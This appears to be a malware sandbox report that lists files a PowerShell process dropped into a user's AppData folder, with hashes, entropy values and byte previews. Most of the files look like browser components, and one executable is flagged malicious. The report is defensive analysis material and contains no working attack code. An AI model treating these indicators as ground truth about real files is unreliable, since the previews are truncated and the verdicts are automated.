C:\Users\user\AppData\Roaming\KYED2\install\chrome.VisualElementsManifest.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	413
Entropy (8bit):	5.288976339066858
Encrypted:	false
SSDEEP:	12:ebvyWW/meZm06YWZm06YWJWe06YWJJdVVN:ebvyWW/meZIYW+YWJWwYWJJdVj
MD5:	437001161184CADAA8C0A0D7986C644A
SHA1:	6625882AE191E0652DF47D248AC7C6CB67B6B37A
SHA-256:	FAE6A7F7C53E82448C8F354B3A74A2BC785FF031D87929472E2FDE13E1C059F6
SHA-512:	9312506D0A3F9047E7234DE449B3447A0293B8B7D3F2D22A25B862ADF84724E211394ABF99E3BDECF40A403050399F1007407E165DEEF5FF9475D833909B10E1
Malicious:	false
Preview:	<Application xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>.. <VisualElements.. ShowNameOnSquare150x150Logo='on'.. Square150x150Logo='126.0.6478.127\VisualElements\Logo.png'.. Square70x70Logo='126.0.6478.127\VisualElements\SmallLogo.png'.. Square44x44Logo='126.0.6478.127\VisualElements\SmallLogo.png'.. ForegroundText='light'.. BackgroundColor='#5F6368'/>..</Application>..

C:\Users\user\AppData\Roaming\KYED2\install\config.cfg

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	188
Entropy (8bit):	4.7071601265842435
Encrypted:	false
SSDEEP:	3:QX4Lv/5U4baVkcF/FW5oXoVFoeNRKPwFT/FcPwFn2Gd0LqKRATiLqY4Lvv:QK/5U4OqcG2sugywTtMwHd0/h8v
MD5:	BADF79377459CA427E86697B692E430C
SHA1:	8FB55E71AA4A779F30C41F226C88F721F97E2498
SHA-256:	75E5816DEFBC2FE2E2D221DB35C2A7EBA3637BA960BE7DC0BB727A700EBD2421
SHA-512:	6D68CCC692FC6B1A71E21FBDF3829EB5B020EE1ACEA111A138362C1BF448C0BE1C70D07DC4871BAF5230134222F67CC019F00310D366D645A6C77369FF5A7B81
Malicious:	false
Preview:	<TextClassifier>. ModelPath ./detector_lite.ytxt. ImageSizes 128 256 512. LinkThreshold 0.7. SegmentsThreshold 0.7. StrongTextLink 50. SoftTextLink 10.</TextClassifier>..

C:\Users\user\AppData\Roaming\KYED2\install\cs.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	438972
Entropy (8bit):	5.927497695877221
Encrypted:	false
SSDEEP:	6144:ySwb4rE54xOdA9R1zWt9yqISBjHzWXQ5EvKINZ:ydb4rQBe1zWt9HISNHz0j
MD5:	F3E8373CB339B00F9E1464DA082272E2
SHA1:	3E2FD5CAF0E8423C4955BBA1A9483FF02F5BC477
SHA-256:	69BE067037E663E9AB42FBE0935E8B177970DFB877C35479169AF444040D03E2
SHA-512:	4BC1BA072E7EE3F7B1600482EA8A809D082E31F1456DE8B5AE3B1C23E3A11BB5D7804524BC5AD6688D3B0E61F41CD75DE95DF1539CCEFCC1456CB9F429FFC15A
Malicious:	false
Preview:	......... b.e.....f.....g.....h.....i.....j.....k.T...l.h...m.w...n.....o.....p.P...q.....r.....s.....t.....u.....v.....w.....x.....y.!...z.R...{.T...\|.k...}.o...~.~.....................................................................................................#.....5.....<.....D.....L.....M.....Y.....i.....~.....................................................................................................A.....M.....j.....\|...........................................................5.....O.....k...........................................................6.....O.....V.....k...............................................;.....K.....u.....................................................C.....K.....i.....q.....~...................................................................................'.....=.............................@.........".....#.....$.....%.....&./...'.6...(.Y...).t...*.....+...../.....1.....2.....3.....4.....5.....6.....7.....8.(...:.8...<.V...=.~................./.

C:\Users\user\AppData\Roaming\KYED2\install\de.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	456818
Entropy (8bit):	5.595421336567645
Encrypted:	false
SSDEEP:	6144:DLAdZ1dDLOOGpUZ92zTFqZIABpznhMogBVMro7edvP9iAt9:DLA711KZSmOjHgBVwoIf
MD5:	B24F89133CFFDAFAA7BCC02CC6622864
SHA1:	B20C87534DC1EE169618EA42ACBFA361804EDC54
SHA-256:	A57963C23FBD040C5EF934EC38CA1DA08A083068257865F85D3B9614758E4BA1
SHA-512:	6F665A95B6667E5AC0CD9EF2BFFAD35A607A838B9A892B0F3328BD69D2015F2098A5B07B33C1C94460D173685D72BCE048B7B98FED9E82748E6F5047EB22C666
Malicious:	false
Preview:	......... ..e.J...f.P...g._...h.r...i.....j.....k.....l.....m.....n.%...o.....p.....q.0...r.E...s.]...t.f...u.p...v.z...w.....x.....y.....z.....{.....\|.....}.....~.....................................#.....4.....=.....R....._.....g.....m.....t..................................................................................................... .....'..........-.....6.....@.....Q.....Y.....`.....{...............................................#.....;.....J.....\.....o...............................................).....7.....K.....T.....e.....v....................................................D.....N.....T...................................E.....V.....j.....z................................................................0.....E.....O.....Z.....`.....h.....u.....................................................U.....s.......................@...".L...#.r...$.....%.....&.....'.....(.#...).D....[...+.e.../.~...1.....2.....3.....4.....5.....6.....7.....8.....:.#...;.;...<.E...=.q.....w.

C:\Users\user\AppData\Roaming\KYED2\install\delegatedWebFeatures.sccd

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (15941), with CRLF line terminators
Category:	dropped
Size (bytes):	18112
Entropy (8bit):	5.982171430913221
Encrypted:	false
SSDEEP:	384:nPzOC+5CNMCUDCGxkKp2Z+TgNKvoUwyBDZS/1pMimimp5F9aQBb+ZIo1PCCZAhy1:niZtnLkKp2Z+TgNKvoUwqVS/L3mimp5i
MD5:	7FD9CD05F23D42FB6DEDA65BD1977AC9
SHA1:	DF25A2C9E1E9FA05805DA69FF41337B9F59755FB
SHA-256:	CA6C469655D4D0D7CE5BEB447DAB43048A377A6042C4800B322257567AC135D9
SHA-512:	6AE8ADDF0C55058803305F937593BA02202C99639A572BE0CACBFDE598019CF8DB7067E0392BD66C43CF7D8780E454EC5E08D68BCFD491B60A450FFC280C81B8
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<CustomCapabilityDescriptor xmlns="http://schemas.microsoft.com/appx/2016/sccd" xmlns:s="http://schemas.microsoft.com/appx/2016/sccd">...<CustomCapabilities>....<CustomCapability Name="Microsoft.delegatedWebFeatures_8wekyb3d8bbwe"/>...</CustomCapabilities>...<AuthorizedEntities>....<AuthorizedEntity AppPackageFamilyName="Microsoft.MicrosoftEdge.Canary_8wekyb3d8bbwe" CertificateSignatureHash="f6f717a43ad9abddc8cefdde1c505462535e7d1307e630f9544a2d14fe8bf26e"/>....<AuthorizedEntity AppPackageFamilyName="Microsoft.MicrosoftEdge.Canary_8wekyb3d8bbwe" CertificateSignatureHash="279cd652c4e252bfbe5217ac722205d7729ba409148cfa9e6d9e5b1cb94eaff1"/>....<AuthorizedEntity AppPackageFamilyName="Microsoft.MicrosoftEdge.Dev_8wekyb3d8bbwe" CertificateSignatureHash="f6f717a43ad9abddc8cefdde1c505462535e7d1307e630f9544a2d14fe8bf26e"/>....<AuthorizedEntity AppPackageFamilyName="Microsoft.MicrosoftEdge.Dev_8wekyb3d8bbwe" CertificateSignatureHash="279cd652c4e252bfbe5217

C:\Users\user\AppData\Roaming\KYED2\install\en-US.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	366601
Entropy (8bit):	5.662364865781263
Encrypted:	false
SSDEEP:	6144:vxWr2xoTIpupSwg1QMMXntfaY46yX1/PrMN8xKHfHqzHs:8r2WTqUl5MOnqavqY
MD5:	1761DC1760C752B6A16BF6F8797B207B
SHA1:	AE0C16AF795ADA3047F086DC841F66FF561FF139
SHA-256:	8C437A858E53894C6072D521459662FECEB3B1E416F62F3F4961D1F6C62B4C9D
SHA-512:	EBCE0FE7F70E4F8698B3A758C58309F461A25DDFFA413B8440EDFE593F70EE4D26046E3FE36EB1F01A4C0FA042270EAB29D2D717B0A02F1994870E1D9F4BBE09
Malicious:	false
Preview:	......... ..e.$...f.*...g.9...h.O...i.]...j.u...k.....l.....m.....n.....o.H...p.m...q.....r.....s.....t.....u.....v.....w.....x.....y.....z.....{.....\|.(...}.,...~.;.....F.....N.....S.....`.....f.....n...........................................................................................................(.....0.....4.....;.....@.....V.....W.....^.....a.....d.....i.....o.....z.....~.................................................................%.....5.....>.....I.....U.....`.....{.................................................................%.....4.....N.....[.....h.....k...........................................................5.....i.....w.............................................................................,.....3.....<.....F.....O.....W.....f.....k.....w...............................................A.....M.....z.........".....#.....$.....%.....&.0...'.7...(.O...).g...+.v.../.....1.....2.....3.....4.....5.....6.....7.....8.....:.....<.!...=.H.....N...................

C:\Users\user\AppData\Roaming\KYED2\install\fr.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	474195
Entropy (8bit):	5.557096749384389
Encrypted:	false
SSDEEP:	12288:EpFCZh0dne0ymuV8iObj/9XY441LSPwOi6PtQE0sIkcOBZfb9NVmEV//QpSY:EPC/9VVLcd/Qj
MD5:	DDFCAC89248FDC7C51C1A932B6AC1C37
SHA1:	B16577290A95346B74C84D95F3B3763219BE999C
SHA-256:	9FCB23EDFB0C68015EB5DC54B2FA48E2E5C3410FACD56547A33B6888EC71E079
SHA-512:	84E812C5E0FD0F61EC370D3751ED5F0059E62566E8BE125D705B37DCDB5A04B82399D531C261278D4E9292923EDBCE67B49CFCEB57263B83292C695F745732ED
Malicious:	false
Preview:	........&!..e.>...f.D...g.U...h.j...i.x...j.....k.....l.....m.....n.>...o.....p.....q.@...r.V...s.\|...t.....u.....v.....w.....x.....y.....z.....{.....\|.....}.....~.+.....6.....>.....C.....P.....V.....^.....o.....x.....................................................................................................&.....1.....7.....>.....D.....d.....e.....l.....o.....r.....y.................................................................:.....J.....o.........................................5.....P.....{.........................................&.....2.....H.....X.....k...........................................................X.....s.............................$.....<.....Q.....e.....w...........................................................0.....=.....A.....I.....T.....f.....k.....v...................................$.....F...........................".(...#.R...$.....%.....&.....'.....(.....).....*.&...+.0.../.I...1.[...2.b...3.u...4.....6.....7.....8.....:.....;.....<.....=.5.....=.

C:\Users\user\AppData\Roaming\KYED2\install\initial_preferences

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65533), with no line terminators
Category:	dropped
Size (bytes):	613362
Entropy (8bit):	6.022362807465715
Encrypted:	false
SSDEEP:	12288:MyLOECzdyqLHl8ODcwPawFSoucO5JYhuFMZUpSFW7v1nq2w9b6qW3:kEqNLOODyoNNsqUpSFW7v4j9b6qW3
MD5:	D34FA84A88438C889B21D1AFA1D7348E
SHA1:	37905A3931BF2FAA104047408BAA3790AD4A5070
SHA-256:	98F0F679B47D1151C18064A44A8E097C338EBF1679A23EACC20740EC19852740
SHA-512:	F7B0CF48C4720F44EA2906CD3101A6C35CF690897ADD6CA66859EAC66B7129CA8805A85309E7747CC83ABB847C17424800D66AC2D4E55A44116F401998F2AC1D
Malicious:	false
Preview:	.{"variations_compressed_seed":"H4sIAAAAAAAA\/+y9a5wc11UvOtU9M7a3JLu1ZctS6zUqS\/JIttrd1Y\/plu2EeWikaWukSffokcShVdW1p7s81VVNVfWMJg9uyAVCLpCQB4FAIIRXwiGJHQ6Pe4DLKzrAvQdyD4RLbjgcAhyegRwSOIdzknNuuL\/au6q6dr1bcmzLnuSDPF1r\/ffea639XnstMNNcnu++dmt5YSm\/vLC0tSzlNy8tzN5YXlgfXFpY3lpemN0821nqzM4++eRDKxerF7YGcvc1zyw9CZ9jwIOzSz2+gxqIF5G2jESJX5H5LaRVmfpZcOKyjlohBC3d4AUZtQr5fEYU9ocC1QsAzquKoamym2VM2A\/DWBr74a6ZSi6fK1bztVyhUMiOz8zkTk2lp8fhs54qX5FEpF4aGP2BEVxlF0FklV10SavsYmnsgzuHVa5wrhp\/gQEPzF5ZVAeKyBuSqszzfWOgoStclamfArvOKmYB4gV+oLS7GVF4MIS6\/jg4vKhqbSReUlqBFJkx4cFsCPMT4IjFvLYWzs0GczdOwF3Vai6fKxW5Uq5QqmR31Armn6VSKZefGptiplJT6WnmOgP\/JKKxx8HdC5KOW2u2E7702nkEjleruVNZqrVlqoG\/mQInZwWZN1AT8Vq7u6KpG5KItKu81hv0G+ibBkg39FlF1FRJrDL1ArjLMqXM\/n1\/8t9\/lxEOwmw4wFsZpr4D3LWA1viBbGQ4k9+ykMz+fZ\/H\/CCG\/yx4aCjAUMrMmHAwG4FUXwTHXKKMxGEjcBp74ESBK+ZOmWKcHu\/e\/KNfeG7yOgM\/nUiQC0hfN9S+V5B\/epuC\/LM7UZAH3IIcm2amU9Pp6Xscgf5GChyPF+jSpaZXmH9+m8L8T3eiMCmrnHCE+H0p8MAK30FLypo6K6gDY7Ur6U3JQFWmvugbrLks2N3sqptNvteXkSlRpBhwYo2X

C:\Users\user\AppData\Roaming\KYED2\install\manifest.json

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	170
Entropy (8bit):	4.67078204534958
Encrypted:	false
SSDEEP:	3:mifFuY9HnQA5JVPqS18iMDXAh/OR6TAulLvPxAUNV/RWFVXAkEpMgMYv:v5975JVSS18iMkh26Vlp//gQNMC
MD5:	CBA80EE11DE525535BF2068AC23107B0
SHA1:	479C817E5B4AE2E49E1E950359F072DD8A8D227F
SHA-256:	333654272A482DC66A15D07C778CDFED72E74F6FA50342F00995E26F5DC7678F
SHA-512:	5ACDFD8874E3506C65446F5B5022879B74D5FAA4D05AF36C9835A35E542BAB21D81AF0F334403F9F3597B12C20C52E2DE9377ED7B22466DEA3D7ECE47810D5F8
Malicious:	false
Preview:	{. "name": "MEI Preload", . "icons": {}, . "version": "1.0.7.1652906823", . "manifest_version": 2, . "description": "Contains preloaded data for Media Engagement".}.

C:\Users\user\AppData\Roaming\KYED2\install\mf_trace.wprp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12735
Entropy (8bit):	5.132841913725667
Encrypted:	false
SSDEEP:	192:PAFGMAwWa5wKa5waa5wia5wGa5wIWUa5w2a5wia5wGa5wa5wmn5wYG5w55wb5wHu:4FGMfWUmgOeWiu6mL
MD5:	AA55E1C8F1BAFC80E31DADD952E8563E
SHA1:	E9FB430500EB4F634935AE7DD1EF8395828DDF0D
SHA-256:	79A228F8F85310C27C292055D9E0E9B827C319C2472B4BA5B40E88851BC4B4F3
SHA-512:	73B7B6831567A5373DB663683C0352CEC50DE0183A378AF6BC989C8A06B02735A1F535C582B7B680FE3DFBF2D4C5404FAF99EC9CDFC9F0A3F135715D309EBAB4
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<WindowsPerformanceRecorder Version="1" Author="DiagTrack Scenario Editor" Copyright="Microsoft Corporation" Company="Microsoft Corporation" >.. <Profiles>.. <EventCollector Id="EventCollector_DiagTrack_096dfc7bdff54af28935efd2efcceadc_0" Name="DiagTrack_096dfc7bdff54af28935efd2efcceadc_0">.. <BufferSize Value="256" />.. <Buffers Value="3" PercentageOfTotalMemory="true" MaximumBufferSpace="64" />.. </EventCollector>.. <EventCollector Id="EventCollector_DiagTrack_096dfc7bdff54af28935efd2efcceadc_1" Name="DiagTrack_096dfc7bdff54af28935efd2efcceadc_1">.. <BufferSize Value="1024" />.. <Buffers Value="3" PercentageOfTotalMemory="true" MaximumBufferSpace="128" />.. </EventCollector>.. <EventProvider Id="EventProvider_00000007-0dc9-401d-b9b8-05e4eca4977e_0" Name="00000007-0dc9-401d-b9b8-05e4eca4977e" NonPagedMemory="true" Level="32">.. <Keywords>.. <Keyword Value="0x7FFFFFFF" />.. </Keywords>.. <

C:\Users\user\AppData\Roaming\KYED2\install\msedge.dll.sig.DATA

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	7.594284139159167
Encrypted:	false
SSDEEP:	24:5rzTeRnmRDg71j/+UDtP0/tW5r9jjeriJ8Snne4U7lhFGj8DbSfYQCCIWnTLuOqn:5rzTeRmRDst/rDtPstirci/nedpEwGfC
MD5:	AC672B8ADBD68E922855A0069BA8D51A
SHA1:	E1D66480332D6536788411EA6B53B068A115743E
SHA-256:	A783D2B2D325C693D4AE004EDBED12164F535A5E2AD77C868A314E5FF7F6A1C2
SHA-512:	3A4F5BDA9E130CD9310B8C28723F3334D591A328851638A7A8742B8C5968D1551E43DD09E48E5CCD896EB3CB87DAD752276AAF68F848B6DECFDFC1167AB3E144
Malicious:	false
Preview:	....0.._0..........}<j.......L..0....H........0}1.0...U....US1.0...U....Washington1.0...U....Kirkland1.0...U....Google1.0...U....Widevine1"0 ..U....widevine-codesign-root-ca0...190801215128Z..290729215128Z0T1.0...U....US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corporation0.."0....H.............0..........x.-.L\.$...K."GG.,QR......(\|.h6..}4b.]...1`.k....l....QETh..2."Y."k...!<<.\|3b$....V3\- ....U.9...5~..m.Lfn..[.H..F..$.U...$....X.g.;.Nnw..'_X.n..r.vD...D..rj]..P9..\4.>.'a...A...k!...,j....F.y..W...U....1..&X...ZV.s..t....ZW.8Z7.j9.G.peA~.$..I.r.E........0..0...U......e.+=.?0.}.@...1trJ0...U.#..0....=..tW....!.B.#U).0...U....0.0...U........0...U.%..0...+.......0...+.....y........0....H...............V>.O........]......y.X..T.'h..'[.T-.S ...?.G..G.+.(..Yxc.......q....b.#..........f..@....O.PI+...v...r......)k../....k.....J.k..S.....k...m5\|.....'....0.T..M)K%......A........Tj(JO.....pn[..>.`.qn.u....'r.Up.....?LQ^.;.LXZ....(!..m..H.6B.C..$G}f+L.

C:\Users\user\AppData\Roaming\KYED2\install\msedge.exe.sig.DATA

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	7.598442613869068
Encrypted:	false
SSDEEP:	24:5rzTeRnmRDg71j/+UDtP0/tW5r9jjeriJ8Snne4U7lhFGj8DbSfi05rclO0BagR8:5rzTeRmRDst/rDtPstirci/nedpEwGfX
MD5:	75C25748073E092158339951C7B65BCD
SHA1:	0F69CCB6E26CEC39231AE4AC756D62FBF4EC5AF0
SHA-256:	67B8FB4A7AB5C01DE3180557C04E88206A9AB23747763547EB8BE27015EE4052
SHA-512:	923D315738E3BEDC4266D705326AB835A2396F6FEDF8CA1BE5C50B807803109346AE748CCD367EA2D2BE282EF6B09B7D70F6DEDF0ED18A781AAE31F8513312FD
Malicious:	false
Preview:	....0.._0..........}<j.......L..0....H........0}1.0...U....US1.0...U....Washington1.0...U....Kirkland1.0...U....Google1.0...U....Widevine1"0 ..U....widevine-codesign-root-ca0...190801215128Z..290729215128Z0T1.0...U....US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corporation0.."0....H.............0..........x.-.L\.$...K."GG.,QR......(\|.h6..}4b.]...1`.k....l....QETh..2."Y."k...!<<.\|3b$....V3\- ....U.9...5~..m.Lfn..[.H..F..$.U...$....X.g.;.Nnw..'_X.n..r.vD...D..rj]..P9..\4.>.'a...A...k!...,j....F.y..W...U....1..&X...ZV.s..t....ZW.8Z7.j9.G.peA~.$..I.r.E........0..0...U......e.+=.?0.}.@...1trJ0...U.#..0....=..tW....!.B.#U).0...U....0.0...U........0...U.%..0...+.......0...+.....y........0....H...............V>.O........]......y.X..T.'h..'[.T-.S ...?.G..G.+.(..Yxc.......q....b.#..........f..@....O.PI+...v...r......)k../....k.....J.k..S.....k...m5\|.....'....0.T..M)K%......A........Tj(JO.....pn[..>.`.qn.u....'r.Up.....?LQ^.;.LXZ....(!..m..H.6B.C..$G}f+L.

C:\Users\user\AppData\Roaming\KYED2\install\preloaded_data.pb

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8456
Entropy (8bit):	6.832506349606088
Encrypted:	false
SSDEEP:	192:sinu4QlEV/xIZKJmj99zRbxJKsO01dKxFJ:sinu4Qlm5ICmj99zRbxEvJxFJ
MD5:	649C99AF46ADDF93FDD5A214FB56E738
SHA1:	322376C0CEBF89D49F86337D6832441BEFD7C76F
SHA-256:	C352DA21A972A669694C7178DEADC41C9BE440BD92BDAC827FE96B79CAAC007E
SHA-512:	01FAE333DD9480C6E638B151F84AFA6A6D3C0F2E9AE0AF1DC9C54795ECAA6BFB348CA80F792C0BBB9527A3B1D7B5A701AB637B12A61279E6764173B9C8FF8247
Malicious:	false
Preview:	..B8.KY@.AZAGA.>@.@.@.@E@.A.A.@.@.@.!0@.@.@jA.@.@.@...@.@t..y... Hndex..` M...... M..J."@K......Je.....J..$..../<@.@.@.2@.@.=@.@.@s@.@.@N@E@u.@`@D.3.@a+. @D........a...o....tub......U-nocoo..ji...hdm...inghuac..............MG.........ont..derlan..\...covid......post.........k...espourn..ng2h..Xamas..inyy........wonlin..nol..Bteflig...ov...............N...ikt..Y.........o.......fazt..f...ok...Domotio..6...afl..u.......rkani..>mblebooklibr..)b......achyourmonst...li......mildh.. ngrenj........vumbzil..eowlcl..;...t..xann...ypinggames....@E%..............n.cover...hanywhe..rectv..z...bo..go...gionli...vica..........ilym..serst..ndanza....1..k...omovi..Ye........@....tu...amacool..2opo...umper..dizi..#........ideo..E...YG.;-video..7nx..ozill..Qtit..K..........libili.]R.vtchu..S.J......n..llyspo......achbodyonde..:inconnec..}.........emount...ogdepeli...........gght..oadca..C...0.....i.....?ar..eor........Bm.Vu....ZF.spremi...i..M30..i...l......nd...rav..>.....acoc

C:\Users\user\AppData\Roaming\KYED2\install\uz.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	428738
Entropy (8bit):	5.633613175057363
Encrypted:	false
SSDEEP:	6144:PO9/3sERZht7a5XBZLE2mV9RfPLyJDPrwnCWacgjjW5cRE0O2fGOGwNws/08gh8h:FER8XzwPgnma9
MD5:	0E95005552BA506314B1591376EB9D75
SHA1:	58B3C2EC36D3738AB8E10105C12BE1784C627F31
SHA-256:	72CB1CBC47EC3D560E02A19B4A9DF7FF6C4E232CA98286158E78CFF346A4CD46
SHA-512:	88FDDFD0E22C4A21A36C97E27758149691D7E61F8C44CF69AAF3C9CE977CB29FA0949A76BF343A36D352B48BDCBD66C8AD6CEB6FAB7C247A73BDAA4116A314B7
Malicious:	false
Preview:	......... y.e.v...f.\|...g.....h.....i.....j.....k.....l....m.8...n.Z...o.....p.....q.b...r.w...s.....t.....u.....v.....w.....x.....y.....z.....{."...\|.....}.2...~.A.....L.....T.....Y.....f.....l.....t.....................................................................................................$.....A.....G.....M.....T.....Z.....r.....s.....z.....}......................................................................1.....N.....b.....y.....................................................6.....M.....q...............................................'.....=.....\.....c.....s.....x.........................................=.....m.....................................................-.....K.....Q.....g.....o...................................................................................).....5.....I....._.......................(.....b.........".....#.....$.....%.....&.9...'.@...(.Y...).m...+.~.../.....1.....2.....3.....4.....5.....6.....7.....:.+...;.Q...<.V...=.z.................0.

C:\Users\user\AppData\Roaming\KYED2\install\zh-CN.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	361713
Entropy (8bit):	6.790395434377143
Encrypted:	false
SSDEEP:	6144:nBWo6FHO66dFrmKSvqRSRbq9SgvFzJlkVDE:nBWoo563rnyrgtzJlku
MD5:	B854863EDFE51CED85381590992C1DEA
SHA1:	5202285EAC135C1D444459E0969D1481833EEA8E
SHA-256:	41DA1543A2E58B1932EF7E525A93BB3336CBE6CB6AB0648A604D0E59589931EF
SHA-512:	3C3D1887D99063BA2938D844C2A5FB2F9FDB2FB043347BFC5DD2A0907CD2F1FCF8F25D6B36728D4531E68171055DFD58D82FED636BBE72F46E7076748AC0D6B8
Malicious:	false
Preview:	......... ..e.<...f.B...g.V...h.i...i.w...j.....k.....l.....m.....n.....o.x...p.....q.....r.....s.....t.....u.....v.....w.#...x.5...y.I...z.d...{.i...\|.t...}.x...~.......................................................................................................1.....8.....@.....H.....J.....M.....V.....h.....q.....w.....}.........................................................................................%.....2.....D.....S.....Y.....n.....}.............................................................................+.....@.....L.....X.....y.................................................................%.....@.....R.....h...........................................................".....2.....>.....J.....Y....._.....k.....y.............................................................................?.....V......................."...".....#.^...$.....%.....&.....'.....(.....).....*.....+...../.....1."...2.(...3.:...4.F...5.^...6.g...7.s...8.....:.....;.....<.....=.............".

C:\Users\user\AppData\Roaming\KYED2\install_state.json

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	1794
Entropy (8bit):	3.5509498109363986
Encrypted:	false
SSDEEP:	24:eCrjdMrTm893chS4Mw2n1iFotb496fjCuTiBCVXTbzVHeEVt:/rS0EQn8bB+EVt
MD5:	3F78A0569C858AD26452633157103095
SHA1:	8119BCC1D66B17CCD286FEF396FA48594188C4D0
SHA-256:	D53FC339533D39F413DDD29A69ADE19F2972383DB8FB8938D77D2E79C8573F36
SHA-512:	89842E39703970108135D71CE4C039DF19C18F04C280CB2516409758F9D22E0205567B08DBE527A6FB7C295BDA2EA8EE6A368D6FCAF6FB59645D31EF2243AD3D
Malicious:	false
Preview:	//353b2d6049dd2f0998bdd73f13855b290ad0be89f62d61dbc2672253e4fb72da.{.. "install": {.. "clids": {.. "clid1": {.. "clid": "1985548",.. "vid": "225".. },.. "clid10": {.. "clid": "1985553",.. "vid": "225".. },.. "clid100004": {.. "clid": "1985555",.. "vid": "225".. },.. "clid1010": {.. "clid": "2372823",.. "vid": "".. },.. "clid15": {.. "clid": "1985554",.. "vid": "225".. },.. "clid21": {.. "clid": "2372816",.. "vid": "".. },.. "clid25": {.. "clid": "2372817",.. "vid": "".. },.. "clid28": {.. "clid": "2372813",.. "vid": "".. },.. "clid29": {.. "clid": "2372821",.. "vid": "".. },.. "clid30": {.. "clid": "2372822",.. "v

C:\Users\user\AppData\Roaming\KYED2\msvcr100.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	773968
Entropy (8bit):	6.901559811406837
Encrypted:	false
SSDEEP:	12288:nMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BVoe3z:MmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV7z
MD5:	0E37FBFA79D349D672456923EC5FBBE3
SHA1:	4E880FC7625CCF8D9CA799D5B94CE2B1E7597335
SHA-256:	8793353461826FBD48F25EA8B835BE204B758CE7510DB2AF631B28850355BD18
SHA-512:	2BEA9BD528513A3C6A54BEAC25096EE200A4E6CCFC2A308AE9CFD1AD8738E2E2DEFD477D59DB527A048E5E9A4FE1FC1D771701DE14EF82B4DBCDC90DF0387630
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L......M.........."!.........................0.....x......................................@..........................H......d...(.......................P.......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\KYED2\new_chrome_proxy.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1089312
Entropy (8bit):	6.453542895419501
Encrypted:	false
SSDEEP:	12288:mRdaQNYEYh4L5UaB1a1bxyOG6KA5bxjvzSdbaJfhBHAwjcwUDmxrPoUX7:QDYh4L5HBOEOGLqrzSdutPcIlP1X7
MD5:	37B91DE52DD423AC20398B70B9844B36
SHA1:	BF5748FD56910243F949D787B27F73FC325C0ACF
SHA-256:	4C3C87DC4850ACFCA4E135A329230534404949262E6C1E4D775CD9992762F732
SHA-512:	C0A33F6808630ADB67F9214C8CC8274581720EC8318DDAF93ABF60737CCD02EFC62A32FD9E2B8B8B531438DABD2A01379003478C0A0A57444EBE8EF1D7C14888
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....uf.........."......,...D.......P.........@.............................p.......$....`.........................................`5..U....5.......@..x....`..ts...v.. )...P......l)......................P(..(....Q..@...........P;...............................text....+.......,.................. ..`.rdata.......@.......0..............@..@.data....w..........................@....pdata..ts...`...t..................@..@.gxfg....'.......(...*..............@..@.retplne.............R...................tls....q.... .......T..............@..._RDATA.......0.......V..............@..@.rsrc...x....@.......X..............@..@.reloc.......P.......b..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\KYED2\nskbfltr.inf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.93007757242403
Encrypted:	false
